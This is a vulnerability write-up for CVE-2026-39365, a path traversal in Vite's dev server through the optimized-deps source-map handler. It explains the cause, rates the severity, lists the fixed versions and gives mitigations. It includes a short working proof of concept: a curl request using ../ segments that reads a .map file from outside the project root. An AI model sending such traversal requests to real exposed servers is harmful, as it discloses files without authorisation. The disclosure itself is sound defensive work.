CVE-2026-39365: Walking Out of Vite's Dev Server Through a .map File
Dev servers are held to a lower security bar than production, and mostly that's fine - they bind to localhost and only you talk to them. But the moment you run vite --host to test on your phone, or a config sets server.host, that dev server is on the network, and every path it will resolve becomes an attack surface. Vite already knows this: it ships server.fs.strict, an allowlist that's supposed to keep the dev server from serving files outside your project. CVE-2026-39365 is a path traversal that walks straight around that allowlist through a code path nobody thought to guard: source maps.
Optimized deps and their maps
When Vite pre-bundles dependencies (esbuild "optimized deps"), it emits the bundles and their .map source maps into node_modules/.vite/deps/, and the dev server serves them under a dedicated URL prefix so the browser's devtools can fetch them on demand. That handler does what it sounds like: take the requested .map name, resolve it to a path, readFile, return the JSON.
The /@fs path - Vite's general "read a file by absolute path" route - is gated by server.fs.strict and its allowlist. The optimized-deps .map handler is a different route, and it resolved the requested filename without stripping ../ segments and without consulting the allowlist. Two doors into the filesystem; only one had a lock.
The traversal
Because the handler joined attacker-controlled path segments onto the deps directory and then readFile'd the result, ../ sequences climbed right back out:
GET /node_modules/.vite/deps/../../../../../../tmp/poc.map
resolves out of .vite/deps, up past the project root, down to /tmp/poc.map. The direct /@fs block that would normally stop this never runs on this route. The one constraint is the suffix: the handler only serves things it will treat as a source map, so the target must end in .map and parse as valid source-map JSON. That's a low bar.
Proof of concept
Drop a file that satisfies the "valid source map" check anywhere outside the project:
cat > /tmp/poc.map <<'EOF'
{"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
EOF
# a dev server exposed to the network, as --host / server.host would do
pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080
Then request it back through the optimized-deps .map prefix with enough ../ to reach it:
curl --path-as-is \
'http://127.0.0.1:18080/node_modules/.vite/deps/../../../../../../../tmp/poc.map'
# -> {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""}
The file comes back, from outside the root, past fs.strict. Any .map-suffixed secret with a predictable path - a committed source map that embedded originals, a build artifact, anything an operator left as something.map - is readable by anyone who can reach the dev server.
Walk it yourself. Add ../ segments to the request and watch the resolved path climb out of the project root - then flip to patched and watch server.fs.strict catch it:
Going deeper: two doors, one lock
The reason a mature framework with a working allowlist still shipped this is worth dwelling on, because it's the most common shape of "we already fixed path traversal" bugs. Vite has a general file route - /@fs/<abs-path> - and it is properly gated: every request through it is normalized and checked against server.fs.strict. The optimized-deps .map handler is a separate, older code path that predates or sidesteps that choke point. It was written for a trusted job (serve our own generated maps to devtools) and it resolved the request the naive way - join, readFile - because "these paths come from us."
That assumption is the bug. The path arrives in a request the attacker fully controls; it only feels internal because of where the handler sits. Any time a security control lives at one gate and a second gate reaches the same sink, the second gate is the vulnerability - the fix isn't "add a check here," it's "there must be exactly one place that turns a request into a readFile." A grep for every call site of the read primitive would have found this; a check bolted onto the route in the last report would not.
The honest severity
This is a 6.3 / Moderate, not a headline crit, and the CVSS v4.0 vector says why: AT:P (the attack requires specific conditions) and VC:L with no integrity or availability impact. You need two things to line up - the dev server exposed to the network (--host/server.host), and a sensitive file that ends in .map at a guessable path. It's information disclosure, scoped to a class of files, in a development tool. CWE-22 (path traversal) plus CWE-200 (exposure). I rate my own bugs at what they are; inflating a dev-server info-leak into "RCE" is how researchers lose the benefit of the doubt on the report that actually matters.
The fix
Vite 6.4.2, 7.3.2, and 8.0.5 route the optimized-deps .map handler through the same normalization and allowlist checks as the rest of the filesystem layer - ../ is resolved away and the result is checked against fs.strict before any readFile. The general principle: every route that turns a request into a filesystem read must share one choke point for path normalization and allowlisting. Two doors into readFile means one of them is unlocked.
If you run Vite: upgrade to >= 6.4.2 / >= 7.3.2 / >= 8.0.5. Until then, don't expose the dev server to untrusted networks (--host on a coffee-shop Wi-Fi is the realistic threat), and keep server.fs.strict on.
Public record: NVD · Vite advisory GHSA-4w7w-66w2-5vf9. Reported and credited under coordinated disclosure with the Vite team.